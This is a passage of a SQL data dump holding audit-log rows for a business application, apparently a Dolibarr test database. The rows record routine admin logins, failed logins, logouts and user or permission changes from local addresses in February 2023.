Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1297,'2023-02-01 10:13:20','USER_LOGIN',1,'2023-02-01 07:13:20',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1298,'2023-02-04 13:58:13','USER_LOGIN_FAILED',1,'2023-02-04 10:58:13',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1299,'2023-02-04 13:58:17','USER_LOGIN',1,'2023-02-04 10:58:17',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1300,'2023-02-05 18:58:23','USER_LOGIN_FAILED',1,'2023-02-05 15:58:23',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1301,'2023-02-05 18:58:29','USER_LOGIN_FAILED',1,'2023-02-05 15:58:29',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1302,'2023-02-05 18:58:36','USER_LOGIN',1,'2023-02-05 15:58:36',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1303,'2023-02-06 12:16:12','USER_LOGIN_FAILED',1,'2023-02-06 09:16:12',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1304,'2023-02-06 12:16:16','USER_LOGIN',1,'2023-02-06 09:16:16',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1305,'2023-02-06 12:18:44','USER_MODIFY',1,'2023-02-06 09:18:44',12,'User admin modified - Permissions removed (id=11)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1306,'2023-02-07 09:48:19','USER_LOGIN_FAILED',1,'2023-02-07 06:48:19',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1307,'2023-02-07 09:48:23','USER_LOGIN',1,'2023-02-07 06:48:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1308,'2023-02-07 13:49:53','USER_LOGIN',1,'2023-02-07 10:49:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1309,'2023-02-08 11:56:09','USER_LOGIN',1,'2023-02-08 08:56:09',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1310,'2023-02-08 12:45:21','USER_MODIFY',1,'2023-02-08 09:45:21',12,'User admin modified - Permissions added','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1311,'2023-02-09 13:05:39','USER_LOGIN',1,'2023-02-09 10:05:39',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1312,'2023-02-09 17:29:41','USER_LOGIN_FAILED',1,'2023-02-09 14:29:41',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1313,'2023-02-09 17:29:45','USER_LOGIN_FAILED',1,'2023-02-09 14:29:45',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1314,'2023-02-09 17:29:50','USER_LOGIN',1,'2023-02-09 14:29:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1315,'2023-02-09 20:55:07','USER_LOGIN',1,'2023-02-09 17:55:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1316,'2023-02-10 09:35:48','USER_LOGIN_FAILED',1,'2023-02-10 06:35:48',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1317,'2023-02-10 09:35:52','USER_LOGIN_FAILED',1,'2023-02-10 06:35:52',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1318,'2023-02-10 09:35:57','USER_LOGIN',1,'2023-02-10 06:35:57',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1319,'2023-02-10 15:56:53','USER_MODIFY',1,'2023-02-10 12:56:53',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1320,'2023-02-10 17:42:02','USER_LOGIN',1,'2023-02-10 14:42:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1908x504','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1321,'2023-02-11 10:48:08','USER_LOGIN_FAILED',1,'2023-02-11 07:48:08',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1322,'2023-02-11 10:48:20','USER_LOGIN_FAILED',1,'2023-02-11 07:48:20',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1323,'2023-02-11 10:48:25','USER_LOGIN_FAILED',1,'2023-02-11 07:48:25',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1324,'2023-02-11 10:48:28','USER_LOGIN_FAILED',1,'2023-02-11 07:48:28',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1325,'2023-02-11 10:48:31','USER_LOGIN_FAILED',1,'2023-02-11 07:48:31',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1326,'2023-02-11 10:48:35','USER_LOGIN_FAILED',1,'2023-02-11 07:48:35',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1327,'2023-02-11 10:48:42','USER_LOGIN_FAILED',1,'2023-02-11 07:48:42',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1328,'2023-02-11 10:48:50','USER_LOGIN_FAILED',1,'2023-02-11 07:48:50',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1329,'2023-02-11 10:48:58','USER_LOGIN_FAILED',1,'2023-02-11 07:48:58',NULL,'Identifiant ou mot de passe incorrect - login=ldestailleur','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1330,'2023-02-11 10:49:29','USER_LOGIN',1,'2023-02-11 07:49:29',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1331,'2023-02-11 11:19:58','USER_LOGIN_FAILED',1,'2023-02-11 08:19:58',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1332,'2023-02-11 11:20:02','USER_LOGIN',1,'2023-02-11 08:20:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1333,'2023-02-13 15:09:04','USER_LOGIN',1,'2023-02-13 12:09:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1334,'2023-02-14 18:58:19','USER_LOGIN_FAILED',1,'2023-02-14 15:58:19',NULL,'Identifiant ou mot de passe incorrect - login=admin','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1335,'2023-02-14 18:58:40','USER_LOGIN_FAILED',1,'2023-02-14 15:58:40',NULL,'Identifiant ou mot de passe incorrect - login=admin','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1336,'2023-02-14 18:58:46','USER_LOGIN',1,'2023-02-14 15:58:46',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1337,'2023-02-15 11:19:16','USER_LOGIN',1,'2023-02-15 08:19:16',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1338,'2023-02-16 10:57:38','USER_LOGIN_FAILED',1,'2023-02-16 07:57:38',NULL,'Identifiant ou mot de passe incorrect - login=admin','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1339,'2023-02-16 10:57:40','USER_LOGIN',1,'2023-02-16 07:57:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1340,'2023-02-16 20:48:45','USER_LOGIN',1,'2023-02-16 17:48:45',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1341,'2023-02-17 14:11:00','USER_LOGIN',1,'2023-02-17 11:11:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1342,'2023-02-18 10:22:59','USER_LOGIN',1,'2023-02-18 07:22:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1343,'2023-02-18 11:26:50','USER_LOGIN_FAILED',1,'2023-02-18 08:26:50',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1344,'2023-02-18 11:26:53','USER_LOGIN',1,'2023-02-18 08:26:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1345,'2023-02-19 11:03:48','USER_LOGIN_FAILED',1,'2023-02-19 08:03:48',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1346,'2023-02-19 11:03:53','USER_LOGIN_FAILED',1,'2023-02-19 08:03:53',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1347,'2023-02-19 12:34:29','USER_LOGIN',1,'2023-02-19 09:34:29',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1348,'2023-02-20 14:26:54','USER_LOGIN_FAILED',1,'2023-02-20 11:26:54',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1349,'2023-02-20 14:27:00','USER_LOGIN',1,'2023-02-20 11:27:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x852','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1350,'2023-02-21 01:17:43','USER_LOGIN_FAILED',1,'2023-02-20 22:17:43',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1351,'2023-02-21 01:17:46','USER_LOGIN',1,'2023-02-20 22:17:46',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1352,'2023-02-21 09:09:12','USER_LOGIN_FAILED',1,'2023-02-21 06:09:12',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1353,'2023-02-21 09:09:14','USER_LOGIN',1,'2023-02-21 06:09:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1354,'2023-02-22 12:41:13','USER_LOGIN_FAILED',1,'2023-02-22 09:41:13',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1355,'2023-02-22 12:41:18','USER_LOGIN_FAILED',1,'2023-02-22 09:41:18',NULL,'Identifiant ou mot de passe incorrect - login=Admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1356,'2023-02-22 12:41:22','USER_LOGIN',1,'2023-02-22 09:41:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1357,'2023-02-23 09:02:52','USER_LOGIN',1,'2023-02-23 06:02:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1358,'2023-02-23 18:56:10','USER_LOGIN',1,'2023-02-23 15:56:10',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1359,'2023-02-24 10:31:29','USER_LOGIN',1,'2023-02-24 07:31:29',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1360,'2023-02-25 00:37:01','USER_LOGIN',1,'2023-02-24 21:37:01',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1361,'2023-02-25 14:20:13','USER_LOGIN',1,'2023-02-25 11:20:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x913','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1362,'2023-02-25 14:57:43','USER_LOGIN',1,'2023-02-25 11:57:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=958x391','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1363,'2023-02-25 14:58:03','USER_LOGOUT',1,'2023-02-25 11:58:03',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1364,'2023-02-25 14:58:09','USER_LOGIN_FAILED',1,'2023-02-25 11:58:09',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1365,'2023-02-25 14:58:12','USER_LOGIN',1,'2023-02-25 11:58:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x932','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1366,'2023-02-25 14:58:21','USER_LOGOUT',1,'2023-02-25 11:58:21',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1367,'2023-02-25 14:58:26','USER_LOGIN',1,'2023-02-25 11:58:26',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x932','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1368,'2023-02-25 14:59:13','USER_LOGOUT',1,'2023-02-25 11:59:13',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1369,'2023-02-25 14:59:18','USER_LOGIN',1,'2023-02-25 11:59:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x932','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1370,'2023-02-25 14:59:23','USER_LOGOUT',1,'2023-02-25 11:59:23',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1371,'2023-02-25 14:59:29','USER_LOGIN_FAILED',1,'2023-02-25 11:59:29',NULL,'Bad value for login or password - login=noperm','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1372,'2023-02-25 15:00:16','USER_NEW_PASSWORD',1,'2023-02-25 12:00:16',12,'Password change for noperm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1373,'2023-02-25 15:00:16','USER_MODIFY',1,'2023-02-25 12:00:16',12,'User noperm modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1374,'2023-02-25 15:00:24','USER_LOGIN',1,'2023-02-25 12:00:24',22,'(UserLogged,noperm) - TZ=1;TZString=Europe/Paris;Screen=1920x932','127.0.0.1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1376,'2023-02-25 15:08:43','USER_CREATE',1,'2023-02-25 12:08:43',12,'User test created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',NULL,'c0d6c0956db3b57170498443d16ce126987719e7',NULL,NULL),(1377,'2023-02-25 15:08:43','USER_NEW_PASSWORD',1,'2023-02-25 12:08:43',12,'Password change for test','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 